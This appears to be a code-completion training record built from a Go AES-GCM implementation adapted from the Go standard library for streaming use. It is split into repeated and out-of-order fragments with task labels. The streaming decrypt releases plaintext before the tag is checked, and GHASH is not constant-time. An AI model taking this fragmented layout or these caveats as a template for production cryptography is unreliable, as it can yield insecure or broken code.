// NewGCM returns the given 128-bit, block cipher wrapped in Galois Counter Mode
// with the standard nonce length.
//
// In general, the GHASH operation performed by this implementation of GCM is not constant-time.
// An exception is when the underlying Block was created by aes.NewCipher
// on systems with hardware support for AES. See the crypto/aes package documentation for details.
func newGCM(cipher goCipher.Block) (aeadIf, error) {
return newGCMWithNonceAndTagSize(cipher, gcmStandardNonceSize, gcmTagSize)
}
// NewGCMWithNonceSize returns the given 128-bit, block cipher wrapped in Galois
// Counter Mode, which accepts nonces of the given length. The length must not
// be zero.
//
// Only use this function if you require compatibility with an existing
// cryptosystem that uses non-standard nonce lengths. All other users should use
// NewGCM, which is faster and more resistant to misuse.
func newGCMWithNonceSize(cipher goCipher.Block, size int) (aeadIf, error) {
return newGCMWithNonceAndTagSize(cipher, size, gcmTagSize)
}
// NewGCMWithTagSize returns the given 128-bit, block cipher wrapped in Galois
// Counter Mode, which generates tags with the given length.
//
// Tag sizes between 12 and 16 bytes are allowed.
//
// Only use this function if you require compatibility with an existing
// cryptosystem that uses non-standard tag lengths. All other users should use
// NewGCM, which is more resistant to misuse.
func newGCMWithTagSize(cipher goCipher.Block, tagSize int) (aeadIf, error) {
return newGCMWithNonceAndTagSize(cipher, gcmStandardNonceSize, tagSize)
}
func newGCMWithNonceAndTagSize(cipher goCipher.Block, nonceSize, tagSize int) (aeadIf, error) {
if tagSize < gcmMinimumTagSize || tagSize > gcmBlockSize {
return nil, errors.New("cipher: incorrect tag size given to GCM")
}
if nonceSize <= 0 {
return nil, errors.New("cipher: the nonce can't have zero length, or the security of the key will be immediately compromised")
}
if cipher.BlockSize() != gcmBlockSize {
return nil, errors.New("cipher: NewGCM requires 128-bit block cipher")
}
var key [gcmBlockSize]byte
cipher.Encrypt(key[:], key[:])
g := &gcm{cipher: cipher, nonceSize: nonceSize, tagSize: tagSize}
// We precompute 16 multiples of |key|. However, when we do lookups
// into this table we'll be using bits from a field element and
// therefore the bits will be in the reverse order. So normally one
// would expect, say, 4*key to be in index 4 of the table but due to
// this bit ordering it will actually be in index 0010 (base 2) = 2.
x := gcmFieldElement{
binary.BigEndian.Uint64(key[:8]),
binary.BigEndian.Uint64(key[8:]),
}
g.productTable[reverseBits(1)] = x
for i := 2; i < 16; i += 2 {
g.productTable[reverseBits(i)] = gcmDouble(&g.productTable[reverseBits(i/2)])
g.productTable[reverseBits(i+1)] = gcmAdd(&g.productTable[reverseBits(i)], &x)
}
return g, nil
}
const (
gcmBlockSize = 16
gcmTagSize = 16
gcmMinimumTagSize = 12 // NIST SP 800-38D recommends tags with 12 or more bytes.
gcmStandardNonceSize = 12
)
func (g *gcm) NonceSize() int {
return g.nonceSize
}
func (g *gcm) Overhead() int {
return g.tagSize
}
func (g *gcm) Begin(nonce, aad []byte) {
if len(nonce) != g.nonceSize {
panic("crypto/cipher: incorrect nonce length given to GCM")
}
// Sanity check
if g.tagSize < gcmMinimumTagSize {
panic("crypto/cipher: incorrect GCM tag size")
}
g.deriveCounter(&g.counter, nonce)
g.cipher.Encrypt(g.tagmask[:], g.counter[:])
gcmInc32(&g.counter)
g.update(&g.tagaccum, aad)
g.len.aad = len(aad)
}
func (g *gcm) EncryptUpdate(plaintext []byte) []byte {
plaintext = append(g.block, plaintext...)
length := len(plaintext) - len(plaintext)%gcmBlockSize
g.block = plaintext[length:]
plaintext = plaintext[:length]
ciphertext := make([]byte, len(plaintext))
g.counterCrypt(ciphertext, plaintext, &g.counter)
g.len.ct += len(ciphertext)
g.update(&g.tagaccum, ciphertext)
if uint64(g.len.ct) > ((1<<32)-2)*uint64(g.cipher.BlockSize()) {
panic("crypto/cipher: message too large for GCM")
}
return ciphertext
}
func (g *gcm) EncryptEnd() ([]byte, []byte) {
ciphertext := make([]byte, len(g.block))
g.counterCrypt(ciphertext, g.block, &g.counter)
g.block = nil
g.counter = [gcmBlockSize]byte{}
g.len.ct += len(ciphertext)
g.update(&g.tagaccum, ciphertext)
tag := make([]byte, g.tagSize)
g.authFinal(tag, g.tagaccum, g.len.aad, g.len.ct, &g.tagmask)
g.tagmask = [gcmBlockSize]byte{}
g.tagaccum = gcmFieldElement{}
g.len.aad = 0
g.len.ct = 0
return ciphertext, tag
}
func (g *gcm) DecryptUpdate(ciphertext []byte) []byte {
ciphertext = append(g.block, ciphertext...)
length := len(ciphertext) - len(ciphertext)%gcmBlockSize
g.block = ciphertext[length:]
ciphertext = ciphertext[:length]
plaintext := make([]byte, len(ciphertext))
g.len.ct += len(ciphertext)
g.update(&g.tagaccum, ciphertext)
g.counterCrypt(plaintext, ciphertext, &g.counter)
return plaintext
}
func (g *gcm) DecryptEnd(expectedTag []byte) ([]byte, bool) {
if len(expectedTag) != g.tagSize {
panic("crypto/cipher: incorrect GCM tag size")
}
plaintext := make([]byte, len(g.block))
g.len.ct += len(g.block)
g.update(&g.tagaccum, g.block)
g.counterCrypt(plaintext, g.block, &g.counter)
g.block = nil
g.counter = [gcmBlockSize]byte{}
tag := make([]byte, g.tagSize)
g.authFinal(tag, g.tagaccum, g.len.aad, g.len.ct, &g.tagmask)
g.tagmask = [gcmBlockSize]byte{}
g.tagaccum = gcmFieldElement{}
g.len.aad = 0
g.len.ct = 0
return plaintext, subtle.ConstantTimeCompare(tag, expectedTag) == 1
}
// reverseBits reverses the order of the bits of 4-bit number in i.
func reverseBits(i int) int {
i = ((i << 2) & 0xc) | ((i >> 2) & 0x3)
i = ((i << 1) & 0xa) | ((i >> 1) & 0x5)
return i
}
// gcmAdd adds two elements of GF(2¹²⁸) and returns the sum.
func gcmAdd(x, y *gcmFieldElement) gcmFieldElement {
// Addition in a characteristic 2 field is just XOR.
return gcmFieldElement{x.low ^ y.low, x.high ^ y.high}
}
// gcmDouble returns the result of doubling an element of GF(2¹²⁸).
func gcmDouble(x *gcmFieldElement) (double gcmFieldElement) {
msbSet := x.high&1 == 1
// Because of the bit-ordering, doubling is actually a right shift.
double.high = x.high >> 1
double.high |= x.low << 63
double.low = x.low >> 1
// If the most-significant bit was set before shifting then it,
// conceptually, becomes a term of x^128. This is greater than the
// irreducible polynomial so the result has to be reduced. The
// irreducible polynomial is 1+x+x^2+x^7+x^128. We can subtract that to
// eliminate the term at x^128 which also means subtracting the other
// four terms. In characteristic 2 fields, subtraction == addition ==
// XOR.
if msbSet {
double.low ^= 0xe100000000000000
}
return
}
var gcmReductionTable = []uint16{
0x0000, 0x1c20, 0x3840, 0x2460, 0x7080, 0x6ca0, 0x48c0, 0x54e0,
0xe100, 0xfd20, 0xd940, 0xc560, 0x9180, 0x8da0, 0xa9c0, 0xb5e0,
}
// mul sets y to y*H, where H is the GCM key, fixed during NewGCMWithNonceSize.
func (g *gcm) mul(y *gcmFieldElement) {
var z gcmFieldElement
for i := 0; i < 2; i++ {
word := y.high
if i == 1 {
word = y.low
}
// Multiplication works by multiplying z by 16 and adding in
// one of the precomputed multiples of H.
for j := 0; j < 64; j += 4 {
msw := z.high & 0xf
z.high >>= 4
z.high |= z.low << 60
z.low >>= 4
z.low ^= uint64(gcmReductionTable[msw]) << 48
// the values in |table| are ordered for
// little-endian bit positions. See the comment
// in NewGCMWithNonceSize.
t := &g.productTable[word&0xf]
z.low ^= t.low
z.high ^= t.high
word >>= 4
}
}
*y = z
}
// updateBlocks extends y with more polynomial terms from blocks, based on
// Horner's rule. There must be a multiple of gcmBlockSize bytes in blocks.
func (g *gcm) updateBlocks(y *gcmFieldElement, blocks []byte) {
for len(blocks) > 0 {
y.low ^= binary.BigEndian.Uint64(blocks)
y.high ^= binary.BigEndian.Uint64(blocks[8:])
g.mul(y)
blocks = blocks[gcmBlockSize:]
}
}
// update extends y with more polynomial terms from data. If data is not a
// multiple of gcmBlockSize bytes long then the remainder is zero padded.
func (g *gcm) update(y *gcmFieldElement, data []byte) {
fullBlocks := (len(data) >> 4) << 4
g.updateBlocks(y, data[:fullBlocks])
if len(data) != fullBlocks {
var partialBlock [gcmBlockSize]byte
copy(partialBlock[:], data[fullBlocks:])
g.updateBlocks(y, partialBlock[:])
}
}
// gcmInc32 treats the final four bytes of counterBlock as a big-endian value
// and increments it.
func gcmInc32(counterBlock *[16]byte) {
ctr := counterBlock[len(counterBlock)-4:]
binary.BigEndian.PutUint32(ctr, binary.BigEndian.Uint32(ctr)+1)
}
// counterCrypt crypts in to out using g.cipher in counter mode.
func (g *gcm) counterCrypt(out, in []byte, counter *[gcmBlockSize]byte) {
var mask [gcmBlockSize]byte
for len(in) >= gcmBlockSize {
g.cipher.Encrypt(mask[:], counter[:])
gcmInc32(counter)
xorWords(out, in, mask[:])
out = out[gcmBlockSize:]
in = in[gcmBlockSize:]
}
if len(in) > 0 {
g.cipher.Encrypt(mask[:], counter[:])
gcmInc32(counter)
xorBytes(out, in, mask[:])
}
}
// deriveCounter computes the initial GCM counter state from the given nonce.
// See NIST SP 800-38D, section 7.1. This assumes that counter is filled with
// zeros on entry.
func (g *gcm) deriveCounter(counter *[gcmBlockSize]byte, nonce []byte) {
// GCM has two modes of operation with respect to the initial counter
// state: a "fast path" for 96-bit (12-byte) nonces, and a "slow path"
// for nonces of other lengths. For a 96-bit nonce, the nonce, along
// with a four-byte big-endian counter starting at one, is used
// directly as the starting counter. For other nonce sizes, the counter
// is computed by passing it through the GHASH function.
if len(nonce) == gcmStandardNonceSize {
copy(counter[:], nonce)
counter[gcmBlockSize-1] = 1
} else {
var y gcmFieldElement
g.update(&y, nonce)
y.high ^= uint64(len(nonce)) * 8
g.mul(&y)
binary.BigEndian.PutUint64(counter[:8], y.low)
binary.BigEndian.PutUint64(counter[8:], y.high)
}
}
// auth calculates GHASH(ciphertext, additionalData), masks the result with
// tagMask and writes the result to out.
func (g *gcm) auth(out, ciphertext, additionalData []byte, tagMask *[gcmTagSize]byte) {
var y gcmFieldElement
g.update(&y, additionalData)
g.update(&y, ciphertext)
g.authFinal(out, y, len(additionalData), len(ciphertext), tagMask)
}
func (g *gcm) authFinal(out []byte, y gcmFieldElement, aadlen, ctlen int, tagMask *[gcmTagSize]byte) {
y.low ^= uint64(aadlen) * 8
y.high ^= uint64(ctlen) * 8
g.mul(&y)
binary.BigEndian.PutUint64(out, y.low)
binary.BigEndian.PutUint64(out[8:], y.high)
xorWords(out, out, tagMask[:])
}
// these come from xor_amd64.go. that file replaces the for loop
// below with a call to xorBytesSSE2. it's not clear to me how to
// take advantage of that call in portable kind of way
// xorBytes xors the bytes in a and b. The destination should have enough
// space, otherwise xorBytes will panic. Returns the number of bytes xor'd.
func xorBytes(dst, a, b []byte) int {
n := len(a)
if len(b) < n {
n = len(b)
}
if n == 0 {
return 0
}
_ = dst[n-1]
for i := 0; i < n; i++ {
dst[i] = a[i] ^ b[i]
}
return n
}
func xorWords(dst, a, b []byte) {
xorBytes(dst, a, b)
}
| identifier_body | ||
gcm.go | // Original file obtained from https://raw.githubusercontent.com/golang/go/4e8badbbc2fe7854bb1c12a9ee42315b4d535051/src/crypto/cipher/gcm.go
//
// Copyright 2013 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package ubiq
import (
goCipher "crypto/cipher"
"crypto/subtle"
"encoding/binary"
"errors"
)
// AEAD is a cipher mode providing authenticated encryption with associated
// data. For a description of the methodology, see
//
// https://en.wikipedia.org/wiki/Authenticated_encryption
type aeadIf interface {
// NonceSize returns the size of the nonce that must be passed to Seal
// and Open.
NonceSize() int
// Overhead returns the maximum difference between the lengths of a
// plaintext and its ciphertext.
Overhead() int
Begin(nonce, data []byte)
EncryptUpdate(plaintext []byte) []byte
EncryptEnd() ([]byte, []byte)
DecryptUpdate(ciphertext []byte) []byte
DecryptEnd(expectedTag []byte) ([]byte, bool)
}
// gcmFieldElement represents a value in GF(2¹²⁸). In order to reflect the GCM
// standard and make binary.BigEndian suitable for marshaling these values, the
// bits are stored in big endian order. For example:
//
// the coefficient of x⁰ can be obtained by v.low >> 63.
// the coefficient of x⁶³ can be obtained by v.low & 1.
// the coefficient of x⁶⁴ can be obtained by v.high >> 63.
// the coefficient of x¹²⁷ can be obtained by v.high & 1.
type gcmFieldElement struct {
low, high uint64
}
// gcm represents a Galois Counter Mode with a specific key. See
// https://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/gcm/gcm-revised-spec.pdf
type gcm struct {
cipher goCipher.Block
nonceSize int
tagSize int
// productTable contains the first sixteen powers of the key, H.
// However, they are in bit reversed order. See NewGCMWithNonceSize.
productTable [16]gcmFieldElement
tagaccum gcmFieldElement
counter, tagmask [gcmBlockSize]byte
block []byte
len struct {
aad, ct int
}
}
// NewGCM returns the given 128-bit, block cipher wrapped in Galois Counter Mode
// with the standard nonce length.
//
// In general, the GHASH operation performed by this implementation of GCM is not constant-time.
// An exception is when the underlying Block was created by aes.NewCipher
// on systems with hardware support for AES. See the crypto/aes package documentation for details.
func newGCM(cipher goCipher.Block) (aeadIf, error) {
return newGCMWithNonceAndTagSize(cipher, gcmStandardNonceSize, gcmTagSize)
}
// NewGCMWithNonceSize returns the given 128-bit, block cipher wrapped in Galois
// Counter Mode, which accepts nonces of the given length. The length must not
// be zero.
//
// Only use this function if you require compatibility with an existing
// cryptosystem that uses non-standard nonce lengths. All other users should use
// NewGCM, which is faster and more resistant to misuse.
func newGCMWithNonceSize(cipher goCipher.Block, size int) (aeadIf, error) {
return newGCMWithNonceAndTagSize(cipher, size, gcmTagSize)
}
// NewGCMWithTagSize returns the given 128-bit, block cipher wrapped in Galois
// Counter Mode, which generates tags with the given length.
//
// Tag sizes between 12 and 16 bytes are allowed.
//
// Only use this function if you require compatibility with an existing
// cryptosystem that uses non-standard tag lengths. All other users should use
// NewGCM, which is more resistant to misuse.
func newGCMWithTagSize(cipher goCipher.Block, tagSize int) (aeadIf, error) {
return newGCMWithNonceAndTagSize(cipher, gcmStandardNonceSize, tagSize)
}
func newGCMWithNonceAndTagSize(cipher goCipher.Block, nonceSize, tagSize int) (aeadIf, error) {
if tagSize < gcmMinimumTagSize || tagSize > gcmBlockSize {
return nil, errors.New("cipher: incorrect tag size given to GCM")
}
if nonceSize <= 0 {
return nil, errors.New("cipher: the nonce can't have zero length, or the security of the key will be immediately compromised")
}
if cipher.BlockSize() != gcmBlockSize {
return nil, errors.New("cipher: NewGCM requires 128-bit block cipher")
}
var key [gcmBlockSize]byte
cipher.Encrypt(key[:], key[:])
g := &gcm{cipher: cipher, nonceSize: nonceSize, tagSize: tagSize}
// We precompute 16 multiples of |key|. However, when we do lookups
// into this table we'll be using bits from a field element and
// therefore the bits will be in the reverse order. So normally one
// would expect, say, 4*key to be in index 4 of the table but due to
// this bit ordering it will actually be in index 0010 (base 2) = 2.
x := gcmFieldElement{
binary.BigEndian.Uint64(key[:8]),
binary.BigEndian.Uint64(key[8:]),
}
g.productTable[reverseBits(1)] = x
for i := 2; i < 16; i += 2 {
g.productTable[reverseBits(i)] = gcmDouble(&g.productTable[reverseBits(i/2)])
g.productTable[reverseBits(i+1)] = gcmAdd(&g.productTable[reverseBits(i)], &x)
}
return g, nil
}
const (
gcmBlockSize = 16
gcmTagSize = 16
gcmMinimumTagSize = 12 // NIST SP 800-38D recommends tags with 12 or more bytes.
gcmStandardNonceSize = 12
)
func (g *gcm) NonceSize() int {
return g.nonceSize
}
func (g *gcm) Overhead() int {
return g.tagSize
}
func (g *gcm) Begin(nonce, aad []byte) {
if len(nonce) != g.nonceSize {
panic("crypto/cipher: incorrect nonce length given to GCM")
}
// Sanity check
if g.tagSize < gcmMinimumTagSize {
panic("crypto/cipher: incorrect GCM tag size")
}
g.deriveCounter(&g.counter, nonce)
g.cipher.Encrypt(g.tagmask[:], g.counter[:])
gcmInc32(&g.counter)
g.update(&g.tagaccum, aad)
g.len.aad = len(aad)
}
func (g *gcm) EncryptUpdate(plaintext []byte) []byte {
plaintext = append(g.block, plaintext...)
length := len(plaintext) - len(plaintext)%gcmBlockSize
g.block = plaintext[length:]
plaintext = plaintext[:length]
ciphertext := make([]byte, len(plaintext))
g.counterCrypt(ciphertext, plaintext, &g.counter)
g.len.ct += len(ciphertext)
g.update(&g.tagaccum, ciphertext)
if uint64(g.len.ct) > ((1<<32)-2)*uint64(g.cipher.BlockSize()) {
panic("crypto/cipher: message too large for GCM")
}
return ciphertext
}
func (g *gcm) EncryptEnd() ([]byte, []byte) {
ciphertext := make([]byte, len(g.block))
g.counterCrypt(ciphertext, g.block, &g.counter)
g.block = nil
g.counter = [gcmBlockSize]byte{}
g.len.ct += len(ciphertext)
g.update(&g.tagaccum, ciphertext)
tag := make([]byte, g.tagSize)
g.authFinal(tag, g.tagaccum, g.len.aad, g.len.ct, &g.tagmask)
g.tagmask = [gcmBlockSize]byte{}
g.tagaccum = gcmFieldElement{}
g.len.aad = 0
g.len.ct = 0
return ciphertext, tag
}
func (g *gcm) DecryptUpdate(ciphertext []byte) []byte {
ciphertext = append(g.block, ciphertext...)
length := len(ciphertext) - len(ciphertext)%gcmBlockSize
g.block = ciphertext[length:]
ciphertext = ciphertext[:length]
plaintext := make([]byte, len(ciphertext))
g.len.ct += len(ciphertext)
g.update(&g.tagaccum, ciphertext)
g.counterCrypt(plaintext, ciphertext, &g.counter)
return plaintext
}
func (g *gcm) DecryptEnd(expectedTag []byte) ([]byte, bool) {
if len(expectedTag) != g.tagSize {
panic("crypto/cipher: incorrect GCM tag size")
}
plaintext := make([]byte, len(g.block))
g.len.ct += len(g.block)
g.update(&g.tagaccum, g.block)
g.counterCrypt(plaintext, g.block, &g.counter)
g.block = nil
g.counter = [gcmBlockSize]byte{}
tag := make([]byte, g.tagSize)
g.authFinal(tag, g.tagaccum, g.len.aad, g.len.ct, &g.tagmask)
g.tagmask = [gcmBlockSize]byte{}
g.tagaccum = gcmFieldElement{}
g.len.aad = 0
g.len.ct = 0
return plaintext, subtle.ConstantTimeCompare(tag, expectedTag) == 1
}
// reverseBits reverses the order of the bits of 4-bit number in i.
func reverseBits(i int) int {
i = ((i << 2) & 0xc) | ((i >> 2) & 0x3)
i = ((i << 1) & 0xa) | ((i >> 1) & 0x5)
return i
}
// gcmAdd adds two elements of GF(2¹²⁸) and returns the sum.
func gcmAdd(x, y *gcmFieldElement) gcmFieldElement {
// Addition in a characteristic 2 field is just XOR.
return gcmFieldElement{x.low ^ y.low, x.high ^ y.high}
}
// gcmDouble returns the result of doubling an element of GF(2¹²⁸).
func gcmDouble(x *gcmFieldElement) (double gcmFieldElement) {
msbSet := x.high&1 == 1
// Because of the bit-ordering, doubling is actually a right shift.
double.high = x.high >> 1
double.high |= x.low << 63
double.low = x.low >> 1
// If the most-significant bit was set before shifting then it,
// conceptually, becomes a term of x^128. This is greater than the
// irreducible polynomial so the result has to be reduced. The
// irreducible polynomial is 1+x+x^2+x^7+x^128. We can subtract that to
// eliminate the term at x^128 which also means subtracting the other
// four terms. In characteristic 2 fields, subtraction == addition ==
// XOR.
if msbSet {
double.low ^= 0xe100000000000000
}
return
}
var gcmReductionTable = []uint16{
0x0000, 0x1c20, 0x3840, 0x2460, 0x7080, 0x6ca0, 0x48c0, 0x54e0,
0xe100, 0xfd20, 0xd940, 0xc560, 0x9180, 0x8da0, 0xa9c0, 0xb5e0,
}
// mul sets y to y*H, where H is the GCM key, fixed during NewGCMWithNonceSize.
func (g *gcm) mul(y *gcmFieldElement) {
var z gcmFieldElement
for i := 0; i < 2; i++ {
word := y.high
if i == 1 {
word = y.low
}
// Multiplication works by multiplying z by 16 and adding in
// one of the precomputed multiples of H.
for j := 0; j < 64; j += 4 {
msw := z.high & 0xf
z.high >>= 4
z.high |= z.low << 60
z.low >>= 4
z.low ^= uint64(gcmReductionTable[msw]) << 48
// the values in |table| are ordered for
// little-endian bit positions. See the comment
// in NewGCMWithNonceSize.
t := &g.productTable[word&0xf]
z.low ^= t.low
z.high ^= t.high
word >>= 4
}
}
*y = z
}
// updateBlocks extends y with more polynomial terms from blocks, based on
// Horner's rule. There must be a multiple of gcmBlockSize bytes in blocks.
func (g *gcm) updateBlocks(y *gcmFieldElement, blocks []byte) {
for len(blocks) > 0 {
y.low ^= binary.BigEndian.Uint64(blocks)
y.high ^= binary.BigEndian.Uint64(blocks[8:])
g.mul(y)
blocks = blocks[gcmBlockSize:]
}
}
// update extends y with more polynomial terms from data. If data is not a
// multiple of gcmBlockSize bytes long then the remainder is zero padded.
func (g *gcm) update(y *gcmFieldElement, data []byte) {
fullBlocks := (len(data) >> 4) << 4
g.updateBlocks(y, data[:fullBlocks])
if len(data) != fullBlocks {
var partialBlock [gcm | e final four bytes of counterBlock as a big-endian value
// and increments it.
func gcmInc32(counterBlock *[16]byte) {
ctr := counterBlock[len(counterBlock)-4:]
binary.BigEndian.PutUint32(ctr, binary.BigEndian.Uint32(ctr)+1)
}
// counterCrypt crypts in to out using g.cipher in counter mode.
func (g *gcm) counterCrypt(out, in []byte, counter *[gcmBlockSize]byte) {
var mask [gcmBlockSize]byte
for len(in) >= gcmBlockSize {
g.cipher.Encrypt(mask[:], counter[:])
gcmInc32(counter)
xorWords(out, in, mask[:])
out = out[gcmBlockSize:]
in = in[gcmBlockSize:]
}
if len(in) > 0 {
g.cipher.Encrypt(mask[:], counter[:])
gcmInc32(counter)
xorBytes(out, in, mask[:])
}
}
// deriveCounter computes the initial GCM counter state from the given nonce.
// See NIST SP 800-38D, section 7.1. This assumes that counter is filled with
// zeros on entry.
func (g *gcm) deriveCounter(counter *[gcmBlockSize]byte, nonce []byte) {
// GCM has two modes of operation with respect to the initial counter
// state: a "fast path" for 96-bit (12-byte) nonces, and a "slow path"
// for nonces of other lengths. For a 96-bit nonce, the nonce, along
// with a four-byte big-endian counter starting at one, is used
// directly as the starting counter. For other nonce sizes, the counter
// is computed by passing it through the GHASH function.
if len(nonce) == gcmStandardNonceSize {
copy(counter[:], nonce)
counter[gcmBlockSize-1] = 1
} else {
var y gcmFieldElement
g.update(&y, nonce)
y.high ^= uint64(len(nonce)) * 8
g.mul(&y)
binary.BigEndian.PutUint64(counter[:8], y.low)
binary.BigEndian.PutUint64(counter[8:], y.high)
}
}
// auth calculates GHASH(ciphertext, additionalData), masks the result with
// tagMask and writes the result to out.
func (g *gcm) auth(out, ciphertext, additionalData []byte, tagMask *[gcmTagSize]byte) {
var y gcmFieldElement
g.update(&y, additionalData)
g.update(&y, ciphertext)
g.authFinal(out, y, len(additionalData), len(ciphertext), tagMask)
}
func (g *gcm) authFinal(out []byte, y gcmFieldElement, aadlen, ctlen int, tagMask *[gcmTagSize]byte) {
y.low ^= uint64(aadlen) * 8
y.high ^= uint64(ctlen) * 8
g.mul(&y)
binary.BigEndian.PutUint64(out, y.low)
binary.BigEndian.PutUint64(out[8:], y.high)
xorWords(out, out, tagMask[:])
}
// these come from xor_amd64.go. that file replaces the for loop
// below with a call to xorBytesSSE2. it's not clear to me how to
// take advantage of that call in portable kind of way
// xorBytes xors the bytes in a and b. The destination should have enough
// space, otherwise xorBytes will panic. Returns the number of bytes xor'd.
func xorBytes(dst, a, b []byte) int {
n := len(a)
if len(b) < n {
n = len(b)
}
if n == 0 {
return 0
}
_ = dst[n-1]
for i := 0; i < n; i++ {
dst[i] = a[i] ^ b[i]
}
return n
}
func xorWords(dst, a, b []byte) {
xorBytes(dst, a, b)
}
| BlockSize]byte
copy(partialBlock[:], data[fullBlocks:])
g.updateBlocks(y, partialBlock[:])
}
}
// gcmInc32 treats th | conditional_block |
gcm.go | // Original file obtained from https://raw.githubusercontent.com/golang/go/4e8badbbc2fe7854bb1c12a9ee42315b4d535051/src/crypto/cipher/gcm.go
//
// Copyright 2013 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package ubiq
import (
goCipher "crypto/cipher"
"crypto/subtle"
"encoding/binary"
"errors"
)
// AEAD is a cipher mode providing authenticated encryption with associated
// data. For a description of the methodology, see
//
// https://en.wikipedia.org/wiki/Authenticated_encryption
type aeadIf interface {
// NonceSize returns the size of the nonce that must be passed to Seal
// and Open.
NonceSize() int
// Overhead returns the maximum difference between the lengths of a
// plaintext and its ciphertext.
Overhead() int
Begin(nonce, data []byte)
EncryptUpdate(plaintext []byte) []byte
EncryptEnd() ([]byte, []byte)
DecryptUpdate(ciphertext []byte) []byte
DecryptEnd(expectedTag []byte) ([]byte, bool)
}
// gcmFieldElement represents a value in GF(2¹²⁸). In order to reflect the GCM
// standard and make binary.BigEndian suitable for marshaling these values, the
// bits are stored in big endian order. For example:
//
// the coefficient of x⁰ can be obtained by v.low >> 63.
// the coefficient of x⁶³ can be obtained by v.low & 1.
// the coefficient of x⁶⁴ can be obtained by v.high >> 63.
// the coefficient of x¹²⁷ can be obtained by v.high & 1.
type gcmFieldElement struct {
low, high uint64
}
// gcm represents a Galois Counter Mode with a specific key. See
// https://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/gcm/gcm-revised-spec.pdf
type gcm struct {
cipher goCipher.Block
nonceSize int
tagSize int
// productTable contains the first sixteen powers of the key, H.
// However, they are in bit reversed order. See NewGCMWithNonceSize.
productTable [16]gcmFieldElement
tagaccum gcmFieldElement
counter, tagmask [gcmBlockSize]byte
block []byte
len struct {
aad, ct int
}
}
// NewGCM returns the given 128-bit, block cipher wrapped in Galois Counter Mode
// with the standard nonce length.
//
// In general, the GHASH operation performed by this implementation of GCM is not constant-time.
// An exception is when the underlying Block was created by aes.NewCipher
// on systems with hardware support for AES. See the crypto/aes package documentation for details.
func newGCM(cipher goCipher.Block) (aeadIf, error) {
return newGCMWithNonceAndTagSize(cipher, gcmStandardNonceSize, gcmTagSize)
}
// NewGCMWithNonceSize returns the given 128-bit, block cipher wrapped in Galois
// Counter Mode, which accepts nonces of the given length. The length must not
// be zero.
//
// Only use this function if you require compatibility with an existing
// cryptosystem that uses non-standard nonce lengths. All other users should use
// NewGCM, which is faster and more resistant to misuse.
func newGCMWithNonceSize(cipher goCipher.Block, size int) (aeadIf, error) {
return newGCMWithNonceAndTagSize(cipher, size, gcmTagSize)
}
// NewGCMWithTagSize returns the given 128-bit, block cipher wrapped in Galois
// Counter Mode, which generates tags with the given length.
//
// Tag sizes between 12 and 16 bytes are allowed.
//
// Only use this function if you require compatibility with an existing
// cryptosystem that uses non-standard tag lengths. All other users should use
// NewGCM, which is more resistant to misuse.
func newGCMWithTagSize(cipher goCipher.Block, tagSize int) (aeadIf, error) {
return newGCMWithNonceAndTagSize(cipher, gcmStandardNonceSize, tagSize)
}
func newGCMWithNonceAndTagSize(cipher goCipher.Block, nonceSize, tagSize int) (aeadIf, error) {
if tagSize < gcmMinimumTagSize || tagSize > gcmBlockSize {
return nil, errors.New("cipher: incorrect tag size given to GCM")
}
if nonceSize <= 0 {
return nil, errors.New("cipher: the nonce can't have zero length, or the security of the key will be immediately compromised")
}
if cipher.BlockSize() != gcmBlockSize {
return nil, errors.New("cipher: NewGCM requires 128-bit block cipher")
}
var key [gcmBlockSize]byte
cipher.Encrypt(key[:], key[:])
g := &gcm{cipher: cipher, nonceSize: nonceSize, tagSize: tagSize}
// We precompute 16 multiples of |key|. However, when we do lookups
// into this table we'll be using bits from a field element and
// therefore the bits will be in the reverse order. So normally one
// would expect, say, 4*key to be in index 4 of the table but due to
// this bit ordering it will actually be in index 0010 (base 2) = 2.
x := gcmFieldElement{
binary.BigEndian.Uint64(key[:8]),
binary.BigEndian.Uint64(key[8:]),
}
g.productTable[reverseBits(1)] = x
for i := 2; i < 16; i += 2 {
g.productTable[reverseBits(i)] = gcmDouble(&g.productTable[reverseBits(i/2)])
g.productTable[reverseBits(i+1)] = gcmAdd(&g.productTable[reverseBits(i)], &x)
}
return g, nil
}
const (
gcmBlockSize = 16
gcmTagSize = 16
gcmMinimumTagSize = 12 // NIST SP 800-38D recommends tags with 12 or more bytes.
gcmStandardNonceSize = 12
)
func (g *gcm) NonceSize() int {
return g.nonceSize
}
func (g *gcm) Overhead() int {
return g.tagSize
}
func (g *gcm) Begin(nonce, aad []byte) {
if len(nonce) != g.nonceSize {
panic("crypto/cipher: incorrect nonce length given to GCM")
}
// Sanity check
if g.tagSize < gcmMinimumTagSize {
panic("crypto/cipher: incorrect GCM tag size")
}
g.deriveCounter(&g.counter, nonce)
g.cipher.Encrypt(g.tagmask[:], g.counter[:])
gcmInc32(&g.counter)
g.update(&g.tagaccum, aad)
g.len.aad = len(aad)
}
func (g *gcm) EncryptUpdate(plaintext []byte) []byte {
plaintext = append(g.block, plaintext...)
length := len(plaintext) - len(plaintext)%gcmBlockSize
g.block = plaintext[length:]
plaintext = plaintext[:length]
ciphertext := make([]byte, len(plaintext))
g.counterCrypt(ciphertext, plaintext, &g.counter)
g.len.ct += len(ciphertext)
g.update(&g.tagaccum, ciphertext)
if uint64(g.len.ct) > ((1<<32)-2)*uint64(g.cipher.BlockSize()) {
panic("crypto/cipher: message too large for GCM")
}
return ciphertext
}
func (g *gcm) EncryptEnd() ([]byte, []byte) {
ciphertext := make([]byte, len(g.block))
g.counterCrypt(ciphertext, g.block, &g.counter)
g.block = nil
g.counter = [gcmBlockSize]byte{}
g.len.ct += len(ciphertext)
g.update(&g.tagaccum, ciphertext)
tag := make([]byte, g.tagSize)
g.authFinal(tag, g.tagaccum, g.len.aad, g.len.ct, &g.tagmask)
g.tagmask = [gcmBlockSize]byte{}
g.tagaccum = gcmFieldElement{}
g.len.aad = 0
g.len.ct = 0
return ciphertext, tag
}
func (g *gcm) DecryptUpdate(ciphertext []byte) []byte {
ciphertext = append(g.block, ciphertext...)
length := len(ciphertext) - len(ciphertext)%gcmBlockSize
g.block = ciphertext[length:]
ciphertext = ciphertext[:length]
plaintext := make([]byte, len(ciphertext))
g.len.ct += len(ciphertext)
g.update(&g.tagaccum, ciphertext)
g.counterCrypt(plaintext, ciphertext, &g.counter)
return plaintext
}
